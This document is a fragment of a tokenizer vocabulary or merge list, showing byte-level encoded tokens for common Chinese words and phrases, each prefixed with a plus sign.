+å¥ijåIJĪ +æĸ°æĺ¥ +ä¸įå°ıå¿ĥ +两ä¸ī +æĦıæĢĿæĺ¯ +åĨ·èĹı +çļĦçĹĩçĬ¶ +æĢ§åij½ +è¶ħæłĩ +å¯Ĩ碼 +ç§ijæĬĢèĤ¡ä»½ +äºĨä¸Ģæī¹ +çĿ£å¯Ł +åªĴä»ĭ +å°Ħæīĭ +ä¿®åħ» +çīĩåĪ» +éĢĤåIJĪèĩªå·± +åıªè¦ģæĺ¯ +åIJĥè¿ĩ +éĩijéĵ¶ +缴å±ŀ +åѦéĹ® +åİĭåζ +çªĹå¤ĸ +æĶ¶åΰäºĨ +åħ¨åĽ½äººå¤§ +ä½Ĩæĺ¯å¯¹äºİ +åľ¨æķ´ä¸ª +çļĦèĥĮåIJİ +åĩıå°ijäºĨ +åıįèħIJ +åıįèħIJåĢ¡ +åıįèħIJåĢ¡å»ī +æĹ· +åĪĨæľŁ +åľ¨æ·±åľ³ +æīĵçĿĢ +æī«ä¸Ģ +æī«ä¸Ģæī« +æĶ¿åºľéĥ¨éŨ +æİ¥è¿ŀ +å±ŀäºİèĩªå·± +åŃIJå¼¹ +åIJĮæł·æĺ¯ +æĢ»åħ± +车ä¼ģ +æ¢ĵ +åħ¬é¡· +åıij声 +éĴĽ +èµ°åĬ¿åĽ¾ +主èIJ¥ +åĸĶ +æķ°æį®åĪĨæŀIJ +ä¸įè¿ľ +æľīåIJį +æľīåIJįçļĦ +åģ¿è¿ĺ +å¾Īä½İ +è®ĵ人 +èĿī +é«ĺè´µ +å°ij许 +æ°Ł +å¹¢ +亲æĥħ +è¿Ļä»¶äºĭæĥħ +ç͍é¤IJ +缸åħ³æĸ°éĹ» +å°±åºĶ该 +ç»ĪçĤ¹ +æĺ¯å¤ļå°ij +çĻ»åľº +è¯ķ管 +è¯ķ管婴åĦ¿ +åģļ大 +åģļ大åģļ强 +çļĦä¾ĭåŃIJ +åħ«ä¸ª +æĺİæĹ¥ +çĤ³ +èµ°åİ» +éģº +墩 +ä½ĵä¼ļåΰ +åĴı +ä¸ĭè¾¾ +å¤įåıij +追éĢIJ +æīĵåĵį +çļĦéļ±ç§ģæ¬Ĭ +åħ·æľīä¸Ģå®ļ +è¿Ļä¹Īå¤ļå¹´ +æłijæŀĹ +æľĢéķ¿ +åIJĮèĥŀ +åħīæ³½ +åŁŁåIJį +æĮĩåIJij +åıĹ害èĢħ +æłijèĦĤ +æľīå¤ļ大 +大éĿ¢ç§¯ +æĹłç¼Ŀ +æĶ¹æŃ£ +æĽ´å¤ļçļĦæĺ¯ +æľŁæľ« +æŃ¼ +ä¹īä¹Į +éĤ£ä½ł +çļĦ第ä¸Ģ个 +èĮµ +å°§ +èį« +ä¸įä»ħåı¯ä»¥ +æ¶Įçݰ +æĢ»éĿ¢ç§¯ +æĸ°éĹ»åıijå¸ĥ +æ°ijç͍ +就读 +æīĵè´¥ +å¤ĸè¯Ń +æĪij们ä¸Ģèµ· +é¢Ħå®ļ +çĥ¹é¥ª +æľĢ主è¦ģ +æľĢ主è¦ģçļĦ +çīĮçħ§ +åĽłåħ¶ +ä½İä¸ĭ +ä¼ļåIJĮ +è§ģè§£ +éĹ´éļĶ +æķĻç¨ĭ +å°ī +å¸Ĥä¸Ńå¿ĥ +åħ³éĶ®æĺ¯ +æµ·åįĹçľģ +çī¹åĪ«æĺ¯åľ¨ +ä¸ŃåĽ½å¤§éĻĨ +åħħè¶³çļĦ +æĹ¢èĥ½ +åĤ³çµ± +çijľä¼½ +åħ¥åĽ´ +æħ¢æħ¢åľ° +æĬ¥éħ¬ +æī¹å¤į +å·¥ä¸ļåĽŃåĮº +ä¸İåıijå±ķ +èĥ¸éĥ¨ +åľ¨ç½ij绾 +åľ¨ç½ij绾ä¸Ĭ +交è°Ī +æĽ´æĶ¹ +åįłæľīçİĩ +ä¸Ŀ绸ä¹ĭè·¯ +è¡Ľ +çłĶåΤ +åĪª +åĪªéϤ +è¿Ļåıª +çļĦæ°Ķæģ¯ +åĬłå·ŀ +éĴ§ +çIJĨäºĭéķ¿ +ä¸ĸå®¶ +æµģè¡ĮçļĦ +å¾Īæľīåı¯èĥ½ +们éĥ½ +ç»ıèIJ¥æ¨¡å¼ı +è¡Įä¸ļä¸Ń +éĢļçŁ¥ä¹¦ +åij½é¢ĺ +æľ¬ç¶²ç«Ļ +æ²Ļçī¹ +åıijåħī +é«ĺä»· +å·²çĦ¶ +åıĮåįģä¸Ģ +ä¸Ĭè¯ī +ç¿ħèĨĢ +è¿Ļä¸Ģå¹´ +大ä¼ļä¸Ĭ +éĩī +å®Įåħ¨æĺ¯ +å¾Ĺ太 +ä¸ĢèĪ¬äºº +è¿ĺç®Ĺ +æĬĺåıł +æĬķæľº +çĤ¹çĩĥ +çݰéĩijæµģ +åħĶåŃIJ +ç½ijæł¼ +æİ¥è¿ĩ +ä¾Ľè´§ +éĺ´å½± +åİŁåħĪ +æį£ +左侧 +åħĭæĭī +æīĵåį¡ +ç§ijæ¯Ķ +æ±ĩéĽĨ +åľ°çIJĨä½įç½® +è¯Ħå§Ķ +ç»ĵåIJĪèµ·æĿ¥ +è¿Ľåħ¥åΰ +åı¯è¡Į +åı¯è¡ĮæĢ§ +让å®ĥ +åĪ¶åº¦æĶ¹éĿ© +çĶĺèĤĥçľģ +åĵĹ +åģıåģı +è¡£çī© +ç¥Ŀè´º +æºIJèĩª +å¹¶ä¸į代表 +åĽ½åº¦ +好åĿı +æĿĸ +æĿŃå·ŀå¸Ĥ +湿度 +鲸 +åįļ彩 +æ³°å±± +æĿijèIJ½ +æĸ°èģŀ +èĤĭ +åı¤èĢģçļĦ +çļĦç§ĺå¯Ĩ +ä¸Ģ个éĹ®é¢ĺ +éģıåζ +åįĥ亿 +è¿ĩ硬 +å°Ħåĩ» +èĩªçĦ¶æĺ¯ +产åĮº +çĤ¹çĤ¹å¤´ +åı¯ä»¥å¸®åĬ© +说å®ŀ +说å®ŀè¯Ŀ +æĪijåıªæĺ¯ +ä¹ĭä½Ļ +åIJĮæĹ¶ä¹Łæĺ¯ +ä¸ŃåĽ½éĺŁ +建æĪIJåIJİ +ä¹IJè§Ĩ +åij¨å²ģ +èį¯åºĹ +éĩijåįİ +严éĩįå½±åĵį +è´¨åľ° +æĹħéģĬ +åħµåύ +æķĻèĤ²æķĻåѦ +离åİ» +åIJĦå¼ıåIJĦæł· +ä»ĭç´ +ä»ĭç´¹ +å¼Ģ头 +å°Ĩèĩªå·±çļĦ +åIJ¬åĬĽ +ä¿¡æģ¯ç³»ç»Ł +ä»İæł¹æľ¬ +ä»İæł¹æľ¬ä¸Ĭ +æİĮ声 +欢åĸľ +å±ķåĮº +åķ¸ +太å¤ļäºĨ +éĹ²ç½® +èĥ¡èIJĿåįľ +å§Ķå®£ä¼ł +å§Ķå®£ä¼łéĥ¨ +åįĹéĺ³ +å·ŀåĮº +ä¸İæĹ¶ +ä¸İæĹ¶ä¿± +ä¸İæĹ¶ä¿±è¿Ľ +å«Įçĸij人 +èī¯å¿ĥ +头顶 +è´¢æĬ¥ +ä½Ľæ³ķ +å¾µ +åİŁä»¶ +åĭŀ +çĶ·ç¯® +å¤ĸåĽ½äºº +è¿Ŀ纪 +æī¾äºĨ +æįķæįī +缸è¯Ĩ +æIJľéĽĨ +çļĦä¼Łå¤§ +ä¸īç»´ +å°±è¡ĮäºĨ +çĭIJæľĪ +çĭIJæľĪå±± +å¸ĮæľĽéĢļè¿ĩ +èĢĮ对äºİ +éĿ¢å°į +åĨĽåĽ¢ +è¡ĹåĮº +æĤ¬æĮĤ +便ç§ĺ +æľīä¸ĢçĤ¹ +ä¼ļè®®ä¸Ĭ +ä¸ĭæīĭ +廣åijĬ +äºĶè¡Į +çŃīåĢĻ +ç´§ç´§åĽ´ç»ķ +æĭ¿äºĨ +æ¡ĮéĿ¢ +ç¥ŀæĥħ +éĽĦåİļ +çŀ³ +楼ä¸ĭ +彪 +äºĭåıij +åĨįè§ģ +é¤ĺ +é¢ĦåĶ® +åİ»çľĭçľĭ +æĪij们åºĶ该 +ä¸īå®¶ +æµĬ +ä¹IJéĺŁ +çľĭä¸įè§ģ +èĦijåŃIJ +æĮģæľīçļĦ +çϽèıľ +éĹªçĥģ +åĸĿæ°´ +æİ§åĪ¶ç³»ç»Ł +ä¸ĵåĮº +æľĿå»· +æĪijå¿ĥéĩĮ +å±ķåİħ +èľĺèĽĽ +åĨ»ç»ĵ +粪 +åºIJ +åIJij社ä¼ļ +åĨ³çŃĸéĥ¨ç½² +çŁŃæľŁåĨħ +æĸ°ä¸ļæĢģ +æľĶ +æĹ¶æĬ¥ +使ä¹ĭ +åĽłåŃIJ +åıĤä¸İèĢħ +çļĦ年轻人 +æīĭ表 +å°ģéĶģ +为ä»Ģä¹Īä¸į +åIJ¸çĥŁ +æ¯Ĵç´ł +åĪijæ³ķ +磫æŃ£ +身æĹģ +åİŁè°ħ +çĽijæĬ¤ +æŃ¤å¤Ħ +éĻĤ +æŀľå®ŀ +åĮ»çĸĹæľįåĬ¡ +ä¸įåIJĪçIJĨ +æIJŀ好 +çļĦèĦļæŃ¥ +å¤ĸå¥Ĺ +ç¶ĵéģİ +æĶ¾ç¼ĵ +åģľçķĻ +æĺŁçIJĥ +çļĦä¸ĢéĿ¢ +åĩłä½ķ +è½®åĽŀ +æ¯Ľå·¾ +ä¿®çIJĨ +ä¸įçŁ¥ä¸į +ä¸įçŁ¥ä¸įè§ī +æķ´ä¸ªäºº +æ¯ģçģŃ +åı°å·ŀ +使çĶ¨å¯¿åij½ +é»ijçϽ +æij¸ç´¢ +é¼łæłĩ +éĿ©æĸ° +麵 +ä¸ĵéĹ¨ä¸º +å¾Īå¤ļæľĭåıĭ +å·¥ä½ľç»Ħ +åIJĪå½± +çĤºä»Ģ麼 +æŀģ度 +çļĦè¿ĽæŃ¥ +å½ĵä¹ĭ +å½ĵä¹ĭæĹł +å½ĵä¹ĭæĹłæĦ§ +è´´è¿ij +尺度 +åľ¨çİ°åľº +éĻį临 +åħ»èĢģéĩij +ç£ķ +åı¯ä»¥ä½¿ +管çIJĨæ°´å¹³ +æľ¬æĬ¥è®°èĢħ +æ³ķ令 +åį¡è½¦ +ä¸ľæµ· +å¤ļéĩį +åħ¶éĹ´ +ç´Ļ +éĩįå¤§é¡¹çĽ® +æ±Ĺæ°´ +ç»Ħå§Ķä¼ļ +ä¿¡æģ¯åħ¬å¼Ģ +ä¸į论æĺ¯ +ä¸ĢåIJ¬ +èĴ¸æ±½ +æıŃç§ĺ +è¶ħéģİ +触åıij +婦 +åħ³èģĶ交æĺĵ +å°±ç»Ļ大家 +好ä¹ħ +åĢŁè´· +游æĪıè§Ĵèī² +å¼ĢåIJ¯äºĨ +æİł +åħļçļĦåįģä¹Ŀ +ä¸ĭ鼨 +çŁŃæĹ¶éĹ´åĨħ +å¯ħ +导åħ¥ +å·¥ä½ľç»ıéªĮ +ä¹Łåıªèĥ½ +鼷éľĨ +è·Łè¿Ľ +åį¡éĢļ +é¢ĩæľī +æľºä½ĵ +æĪĺ士èģĮä¸ļ +女主 +ä½ĵåĪ¶æľºåζ +è¶³åįı +èĪĴéĢĤçļĦ +åĢŁåı£ +æī¹åΤ +æķ°å̼ +諾 +éĺ¿æĭī伯 +åĺİ +æħ¶ +达人 +å¼Ģæ°´ +å¤§éĽ¨ +温室 +ä½İè¿· +ä»įæĹ§ +éªĹåŃIJ +亲å±ŀ +çIJĨæĻº +æľ¬åŁºéĩij +å¨ħ +åĨĻåŃĹæ¥¼ +å¢Ļå£ģ +宵 +èϽçĦ¶æĺ¯ +顺çĿĢ +åħ«åᦠ+åķĨç͍ +ä¸į失 +è¿·èĮ« +顺便 +æļijæľŁ +æ¬ºè´Ł +é¢ijé¢ij +è¯¥æł¡ +æĸĻçIJĨ +æ·±æĥħ +åīįéĶĭ +ä¿ĿèŃī +èģĮä¸ļçĶŁæ¶¯ +åħ¬å¼Ģåıij +åħ¬å¼Ģåıijè¡Į +åħ¥æĪ· +éłĵ +å̾åIJ¬ +éŃģ +æĦīæĤ¦ +åĽŀåIJĪ +åħ¨åĬĽä»¥ +åħ¨åĬĽä»¥èµ´ +åĥ¹å̼ +èĥ½åĬĽå¼º +ç»ıå¼Ģ +ç»ıå¼ĢåĮº +è¿ľæĸ¹ +çļĦéģĵçIJĨ +缴åįĩ +缴åįĩæľº +为主é¢ĺçļĦ +ç»ĻæĤ¨ +è¿ĺæĥ³ +æ¯ĶæĪij +åĨľçī§ +æµ·åºķ +çŃ¾è®¢äºĨ +对äºİæĪij们 +æĹ¶è®¸ +éĶ®çĽĺ +å®ŀéĻħæİ§åζ +çļĦæ¨¡æł· +åıįæĺłäºĨ +代åĬŀ +åĮ»ç͍ +éĽĨç»ĵ +åıijå±ķåīįæĻ¯ +æĮĩçĿĢ +åįİåĮĹ +è¿Ļåĩłä¸ª +åIJįæ°Ķ +åĤįæĻļ +èĩªåıij +æ³¢åħ° +大åĬĽæİ¨è¿Ľ +èĩªç§° +èįĨå·ŀ +æIJį害 +äºĨä¸Ģåı¥ +æľĢåĪĿçļĦ +éĩijèŀįå᱿ľº +æĢĢ念 +è¡Įåĭķ +女æİĴ +ä¸įè§£ +ä¼łéĶĢ +转载请 +饰åĵģ +åıªä¸º +ä¸İä¼Ĺ +ä¸İä¼Ĺä¸įåIJĮ +èĥ½èĢĹ +èı©æıIJ +è¿ij两年 +è¿Ķ乡 +马ä¸Ĭå°± +äºĮçŃīå¥ĸ +水管 +æ³ķåѦ +çģŃçģ« +大å§IJ +åij¨è½¬ +æľīæľŁ +æľīæľŁå¾Ĵ +æľīæľŁå¾ĴåĪij +å°įæĸ¹ +ç¥ŀèī² +æ²¹èĦĤ +ä¸īçĤ¹ +ä¸įåĪ©äºİ +äºĭä¸ļéĥ¨ +å°±è·Ł +å¼ĢæĶ¯ +å°ı女åŃ© +åħ±åIJĮåĬªåĬĽ +çĶļèĩ³è¿ĺ +è¿ĻåIJį +è¿Ļç¬Ķ +çݯåį« +æľīç§į +è§ĨåĬĽ +çĨŁçŁ¥ +åħ¬ç§¯éĩij +æ¶Īéĺ²å®īåħ¨ +é¢ĩ为 +大èħ¿ +éĿ¶ +çķĪ +æľįåĬ¡åĮº +å¼Ģåĩº +深度èŀįåIJĪ +æĹłå¿§ +æŁ¥éĺħ +ç»Īç»ĵ +ä¿Ŀç¨İ +è¨İè«ĸ +å½ĵåģļ +è·³èĪŀ +寧 +女çİĭ +è®°èĢħåľ¨ +åħ¨äº§ä¸ļéĵ¾ +è´¯éĢļ +åħ´ä¸ļ +éĻįåΰ +å°ģéĿ¢ +åħ¨éĿ¢æİ¨è¿Ľ +奶èĮ¶ +éĢīåĿĢ +äºĨä¸Ģåľº +åIJĮä¼´ +议论 +æIJĵ +诸èijĽ +诸èijĽäº® +å¹²åĺĽ +æµģæĦŁ +ä¸ĵä¸ļçŁ¥è¯Ĩ +ç͵ç«Ļ +åĩıå¼± +åĩºåħ¥ +åIJĦçľģ +éĿŀ常é«ĺ +åľ°æ¯¯ +åıijæĸĩ +çĦī +çĥ§çĥ¤ +å£ģ纸 +æģ¶åĮĸ +èĬ¸ +èĥĸåŃIJ +çĩĴ +çľģéĴ± +çĻ¾å¼º +çIJĨ工大åѦ +éĴ¢æĿIJ +åĽ½æľīèµĦ产 +æĪĺæľº +æ³Ħéľ² +åIJİéĿ¢çļĦ +æ°´èµĦæºIJ +æ¢ħèĬ± +åĨĻçĿĢ +ä¹ĭ声 +æĹłåı¯ +æĺİæľĿ +ç«ĭæĸ¹ç±³ +ç·£ +æĶ¾è¿ĩ +ç¦ıçͰ +å¾Ĺä½ı +åıĹä¼Ĺ +ä¸Ń级 +çĹħåıĺ +ä¸Ģçŀ¬éĹ´ +æĿĥéĩį +人æĢ§åĮĸ +åĮ»çĸĹåį«çĶŁ +ä¸įåΰä½į +æĻºèĥ½å®¶å±ħ +饮ç͍ +æ¼Ķåıĺ +é«ĺç´łè´¨ +ä¹Ļæĸ¹ +åģľçķĻåľ¨ +èİ·æī¹ +ç©¿æ¢Ń +å®¢åľº +æĮ½åĽŀ +京åŁİ +çĶŁåij½åĬĽ +實éļĽ +çĩĪ +åĨįçݰ +çݰå®ŀä¸Ń +æľīä¿¡å¿ĥ +çĸıéĢļ +åĺ´åĶĩ +鼷éĶĭ +èıľåįķ +éħ¯ +è¶ħé«ĺ +å¾Īé«ĺåħ´ +çĶŁæ®ĸ +éĢłä»· +误åĮº +æĨĭ +好æ¶Īæģ¯ +å´Ń +以èĩ´ +å¼Ģçİ©ç¬ij +çĽijè§Ĩ +å·¡å¯Ł +å¾·å·ŀ +æĹ©æĹ© +éĹªç͵ +æĪªåĽ¾ +åı¯ä»¥æł¹æį® +æīĭèīº +æİ¥è½¨ +ç§įæĹı +æĢĢéĩĮ +åİ»åĮ»éĻ¢ +ä¸ĢäºĮ +å¼ĢéĺĶ +åĩıéĢŁ +ä½Ĩä»İ +éĢĻä¸Ģ +åĩıåħį +主é¢ĺæķĻèĤ² +å¼Ģ工建设 +蹦 +æľĪ饼 +ä¸ĭæ²ī +å°Ĭ严 +éĻĩ +å®ŀæľ¨ +å»łåķĨ +声称 +èĢĥåľº +å¸ĥé²ģ +èĩªæĿ¥ +èĩªæĿ¥æ°´ +éĴ¾ +年以ä¸Ĭ +大åıĶ +ä»ĸå·²ç»ı +åħ¨æĿij +èģĶç³»ç͵è¯Ŀ +为导åIJij +åΤå¤Ħ +对éĺµ +缮æ¨Ļ +åIJįé¢Ŀ +客æ°Ķ +横åIJij +çŃīåĨħ容 +åĩłçĤ¹ +è°Ī论 +ä¸įä¹ı +å±ķçݰåĩº +è¾ĥéķ¿ +éĢĨ转 +å°ıæĻĤ +æĺ¯å¤ļä¹Ī +æľ¬æľĪ +è¿ijè§Ĩ +æĪIJç«ĭ以æĿ¥ +代表çĿĢ +æĬ¥å¤į +æĪıæĽ² +è¨ŃåĤĻ +åħ¥èĤ¡ +å¾ģæľį +é«ĺåĩº +èĪŀåı°ä¸Ĭ +å¿ĥåĬ¨ +两çĤ¹ +缸çķ¶ +èĻĽ +主页 +åĩłå®¶ +æĹłä¸į +åįıå®ļ +æĸIJ +å¯ĵæĦı +åħ¨çº¿ +æįķé±¼ +åı¯ä»¥ä»İ +æľīè¿Ļæł·çļĦ +æģ¶éŃĶ +åĮħåŃIJ +æģ¤ +å¼Ģå¥ĸç»ĵæŀľ +ä¸įæŃ» +èĹį +å¼¯æĽ² +海峡 +éĶĢæ¯ģ +çļĦçĭ¬çī¹ +示æĦı +ä¸įèĥ½åĨį +èĥ½æĬĬ +éĺ²çº¿ +ä¸įå°ijäºİ +æ±Ģ +çļĦéĤ£ä¸Ģ +羣æĥħ +åŀ® +被æīĵ +åĽ½å®ī +ç¾İå¦Ļ +è¿Ļåĩł +åĩºéģĵ +æľįåĬ¡äºİ +æĪIJæŀľè½¬åĮĸ +æīįåįİ +天é¹ħ +åĩłä¸ªäºº +åĢĺèĭ¥ +èĢ½è¯¯ +æĬĹæĪĺ +è¡ĮéĬ· +æĿ¥è¢Ń +åĢŁéĮ¢ +èįīèİĵ +ä¸¥æł¼æī§è¡Į +举è¡ĮäºĨ +å¤ĸç±į +已达 +æĿijåħļæĶ¯éĥ¨ +è¡Ŀ +éĻįèĩ³ +æµ·éĩı +é¤IJé¦Ĩ +æĢ¥å¿Ļ +æ·±è¿ľ +å¾Ģè¿Ķ +ç¨İåĬ¡å±Ģ +å¹¿æ³ĽåºĶç͍ +è®®åijĺ +æĹłæķĮ +çľ¼åħī +çĥŃè¡Ģä¼łå¥ĩ +æŃIJ +äºĨäºĽ +è¿ĿèĥĮ +è¿Ļæĺ¯ä¸Ģç§į +ä¸į稳å®ļ +大家åĪĨ享 +表çı¾ +åīįåįģ +è·¯è¿ĩ +æĴ© +åIJĮæĥħ +ä¹łä¿Ĺ +åıijè´¢ +åºĶæľīçļĦ +æĿİæŁIJ +èĤĽ +马åħĭ +éĢļåijĬ +巨人 +ä¸ĢåĽ¢ +éĢĻæ¬¡ +ä¸įäºĨè§£ +æĸ½è¡Į +èij¡èIJĦçīĻ +åıĺå¾ĹæĽ´åĬł +æı£ +åĪĽæĸ°èĥ½åĬĽ +çķħéĶĢ +表æī¬ +æ¯ĶåĪ© +æ¯ĶåĪ©æĹ¶ +åĮ»çĸĹä¿ĿéĻ© +æĵį纵 +伤亡 +æµİå®ģ +åıĺäºĨ +æľ¬æ¬¡æ´»åĬ¨ +åľŁè±ª +æĥ³åĬŀæ³ķ +æĺķ +å½ĵæĻļ +åĩºå±Ģ +çĥŃè®® +è°Īè°Ī +æĻĭåįĩ +åĬ¿å¿ħ +çϻ山 +éĤ£åĦ¿ +åIJĥåΰ +ä¹ĭåŁİ +å¿«æĿ¥ +æ¹Ľæ±Ł +第ä¸ī个 +åħ¨éĿ¢æıIJåįĩ +å¥ĸåѦ +å¥ĸåѦéĩij +æĬķåħ¥ä½¿ç͍ +é½IJé²ģ +åı¯ä»¥æĬĬ +åĴĮä»ĸçļĦ +è´ŃæĪ¿èĢħ +æŃ£å¼ıåIJ¯åĬ¨ +åįİæ¶¦ +ä¸įæĸŃå®ĮåĸĦ +éĴ¢æĿ¿ +累积 +满èĦ¸ +åĽĽæĸ¹ +è´¢çī© +ä»ĸ们ä¼ļ +å¤ıæĹ¥ +éĤ£ä¸ªäºº +éĿłçĿĢ +çĤ¹äºĨ +çĤ¹äºĨçĤ¹å¤´ +æ©ĭ +åıĪ好 +åıĪ好åıĪ +åıĪ好åıĪå¿« +éĺµéĺµ +å°ģ建 +æľ¬çͰ +çī©ä¸ļæľįåĬ¡ +èĩªè´¸åĮº +åIJı +便åĪ©åºĹ +åĽ½å®¶æłĩåĩĨ +éĿ¢ç²ī +èī°è¾Ľ +æĶ»åħ³ +æīĵåĮħ +车éĺŁ +人éĢī +åı¯ä¸įæĺ¯ +äºĮåįģå¹´ +åIJįå¸Ī +æµ¦ä¸ľ +åħ¬è¯ģ +è¿IJéĢģ +æĺ¯æľĢ好çļĦ +æŁĶåĴĮ +çİĭæŁIJ +çĹħæĪ¿ +åĨ¶éĩij +ä¸Ģä»¶äºĭæĥħ +åᤠ+åı¯æİ§ +çīŁ +æĭĤ +å·²äºİ +人éĢł +çĶŁçī©åĮ»èᝠ+ä½ĵçݰåĩº +èĤ²åĦ¿ +èĢģå®ŀ +åľĸçīĩ +諸 +ç´¯äºĨ +æĦŁåħ´è¶£çļĦ +åĽ¾çīĩæĿ¥æºIJ +ä¹Łæĺ¯ä¸Ģç§į +æ¾İæ¹ĥæĸ°éĹ» +æĹ¶è¡¨ç¤º +åħīè¾ī +æĬ¥åºŁ +å²ģæĹ¶ +éħ® +æ£Ģä¿® +åıĺéĢŁ +åıĺéĢŁç®± +åľ¨èģĮ +éı¡ +æįĤ +çĿ£åĬŀ +æ°¸ä¸į +åģļä¸ĢäºĽ +åİĨæĹ¶ +å·¥ç¨ĭæľºæ¢° +æģ°å½ĵ +å°±åľ¨äºİ +ç§°åij¼ +éĢļ常æĺ¯ +æł·å¼ı +åij¨ä¸Ģ +èĭ±éķij +åĿĩ线 +ä¼łéĹ» +ç͍æĪ·ä½ĵéªĮ +èµŀåIJĮ +骨æĬĺ +为主ä½ĵ +æ±Łå±± +æ¸ħæľĿ +æĶĢåįĩ +ä¸įçĽ¸ä¿¡ +éĿ´ +æŃ¦åĬŁ +åĭ¤åĬ³ +æĿ¥æī¾ +å°ĨæĮģç»Ń +丫头 +æ¨Ļæºĸ +裴 +深深çļĦ +åŃķèĤ² +è§ĦåĪĴ建设 +æ¸ħçν +ç²¾åĩĨæī¶è´« +æīĵçł´äºĨ +è¿Ļä¸Ģ天 +å·¥ä½ľæĢ»ç»ĵ +æĹħç¨ĭ +举èIJ¥ +æĶ¾å°Ħ +æľīåĩłä¸ª +éĿŀçī©è´¨ +åIJĥå¾Ĺ +åŨ +ä¼ļåıijçĶŁ +篮æĿ¿ +å¼Ģå°ģ +麻å°Ĩ +èııæ³½ +ä¸įåIJĪ +ç³»åĪĹ产åĵģ +èѬå¦Ĥ +ç¾İèªī +èĩªå·±åĸľæ¬¢ +交æĺĵä¸Ńå¿ĥ +åIJĪåͱ +使æĪij +åĥıç´ł +带éĺŁ +ä½Ĩ对äºİ +æĬĬè¿Ļ个 +èĤĿèĦı +åįķ纯çļĦ +æĶ»åĿļæĪĺ +缼ä¼ļ +åijµæĬ¤ +æªĢ +èµ¶ä¸Ĭ +æ¥Ĭ +ä¹ħäºĨ +ç¡Ŀ +çŃĶé¢ĺ +ä¿ĿæĮģçĿĢ +è§ģè¯Ĩ +çĤ¹åĦ¿ +åįĬ个æľĪ +æ»ĩ +浸泡 +ä¼łéĢģ +åľ¨å¸Ĥåľºä¸Ĭ +ä¹ĭ乡 +çī¹éķ¿ +éĽŀ +èªł +身å¤Ħ +æŁłæª¬ +身穿 +çľģåħ¬å®ī +çľģåħ¬å®īåİħ +åıĻåĪ©äºļ +åĩłåĪĨéĴŁ +人åĢij +åľ°æ®µ +èĩªåѦ +ä¹Łè¶ĬæĿ¥è¶Ĭ +èģĮæĿĥ +æĸ§ +èĩ» +å½Ĵ纳 +驾é©Ń +éĥ¨åĪĨåľ°åĮº +没æľīæĥ³åΰ +æĴĩ +ä¹Įé²ģ +ä¹Įé²ģæľ¨ +ä¹Įé²ģæľ¨é½IJ +èĤ²äºº +çļĦæŃ¥ä¼IJ +å»¶æľŁ +æ²¹æ°Ķ +åģļå®Į +åľ£åľ° +丰åİļ +宽带 +åı¯éĿłçļĦ +åºŃéĻ¢ +åŃľ +å°ı康社ä¼ļ +å®īåħ¨ç®¡çIJĨ +年第 +æİĴ污 +èĥĮåĮħ +å®¶ä½ı +åħ¶å®ŀå°±æĺ¯ +ä¼ļè§ģ +帮åĬ©ä¼ģä¸ļ +ç½ijè´Ń +æĺ¯ä¸įä¼ļ +飯åºĹ +æŃ»åİ» +åħįçĸ«åĬĽ +æľķ +åĸĿäºĨ +轻微 +个æľĪåĨħ +ç»ĦåĽ¢ +åĴĮå®ĮåĸĦ +鸽 +æıIJéĢŁ +西å®īå¸Ĥ +ä¸Ńå¿ĥ主任 +æĹ¶éĹ´ä¸º +æľŁæĿĥ +è¶ķ +ä¸įä»ħè¦ģ +æľįä»İ +é¡ĺæĦı +ä¸įå°ı +ä¸įå°ıçļĦ +ç°ĩ +窦 +åĪĩæĪIJ +åĵĪåĪ© +å¤©çľŁ +ä¸Ģ次次 +éĩijå¸ģ +æĢİä¹Īèĥ½ +ç½ijè´· +ä¼ļ计å¸Ī +çŁŃ缺 +对æłĩ +åıĺå¾ĹæĽ´ +åīįåĩłå¤© +éĺ²æ±Ľ +彩èϹ +åĵģä½į +è¡¨æł¼ +严å¯Ĩ +æ¯ĽåĪ©çİĩ +çļĦåį±å®³ +å½ķåζ +æ°´åĬ¡ +èĥ½å¤Łè®© +å¹³æĿ¿ +ä¹³æĪ¿ +è¸ıå®ŀ +é¦ĸåĪĽ +é¦Ļèķī +æĬ¥è¡¨ +ä¸ĢæĬ¹ +åĩºçĶŁäºİ +è²»ç͍ +åĩºè®© +åIJĪæ³ķæĢ§ +å°¼åħĭ +åĨ°åĨ· +é¦Ļæ°Ķ +åı·ç§° +èµ·çłģ +åŁİåİ¿ +çİ©èĢį +ä¸ĬéĻIJ +ä¼ļ议精ç¥ŀ +æĹģè¾¹çļĦ +便ä¼ļ +æıŃæĻĵ +çİ©æĦı +éĽªå±± +åIJijçĿĢ +ä½ĵèĤ²åľ¨çº¿ +说æĺİ书 +åĮĸèĤ¥ +åħļç»Ħ书记 +åĬ¨äºº +ä¹ĭæīĢ +æľĪèĩ³ +æľĢå¿«çļĦ +èĬĤåģĩæĹ¥ +ä¸ĵåľº +èĢĥä¸Ĭ +çªŁ +é²ľè¡Ģ +è¾ĥ强çļĦ +æĤĦçĦ¶ +å¤ļä¸ªåĽ½å®¶ +çªĹå¸ĺ +æŀģå¤§åľ° +ä¸įç͍æĭħå¿ĥ +è¿Ļä¹Īåģļ +åĥ¹æł¼ +ç¾İ丽乡æĿij +å°ıæĹ¶åĨħ +ç´§è¿« +大çģ« +èĥ³èĨĬ +æĵįä½ľç³»ç»Ł +æ®ĭçķĻ +åĨĻåĩº +ç¦ģå¿Į +åĬłçĽŁåºĹ +è¿ijçϾ +便åı¯ +æķ´æĶ¹æİªæĸ½ +éĩĩ访æĹ¶ +åĶIJ代 +æ·±åĮĸæĶ¹éĿ© +çŁ¢ +éĥ½åĸľæ¬¢ +è¶ĬæĿ¥è¶Ĭé«ĺ +èĬ±æľµ +头çĸ¼ +å®ī康 +å¢ŀéķ¿çİĩ +çľ¼çľĭ +å°±æĺ¯ä¸ºäºĨ +èĢĮ导èĩ´ +åĬłå¿«å»ºè®¾ +èĬ±æł· +åĨħå¿ĥçļĦ +æĺĨå±± +è³ĩæºIJ +åĽŀåΰ家 +èıĬèĬ± +æ°´éĩı +å¾ģä¿¡ +è¡ĮæĶ¿åĮº +ä¹ĥæĺ¯ +æĬķèµĦé¡¹çĽ® +å«ģç»Ļ +ç¥ŀåľ£ +稳 +æľ¬æĿ¥å°± +éĢIJä¸Ģ +èģĮä¸ļæĬĢæľ¯ +ä¸įèī¯ä¿¡æģ¯ +æīĺè¿IJ +åIJ¯ç¤º +ä¹ĭåħ§å®¹ +飶 +奢åįİ +æıŃ示 +æĪIJ为ä¸ŃåĽ½ +æ¶Īè´¹åĵģ +åħ¬ç͍ +æIJŀå®ļ +è¯·ä½ł +æŁļ +åĨħè¡£ +ä½Ĩä»ĸ们 +ä¿Ŀ湿 +该åİ¿ +饱åĴĮ +æİ¨åIJij +èµĦæĸĻæĺ¾ç¤º +ä¸įå½±åĵį +人人éĥ½ 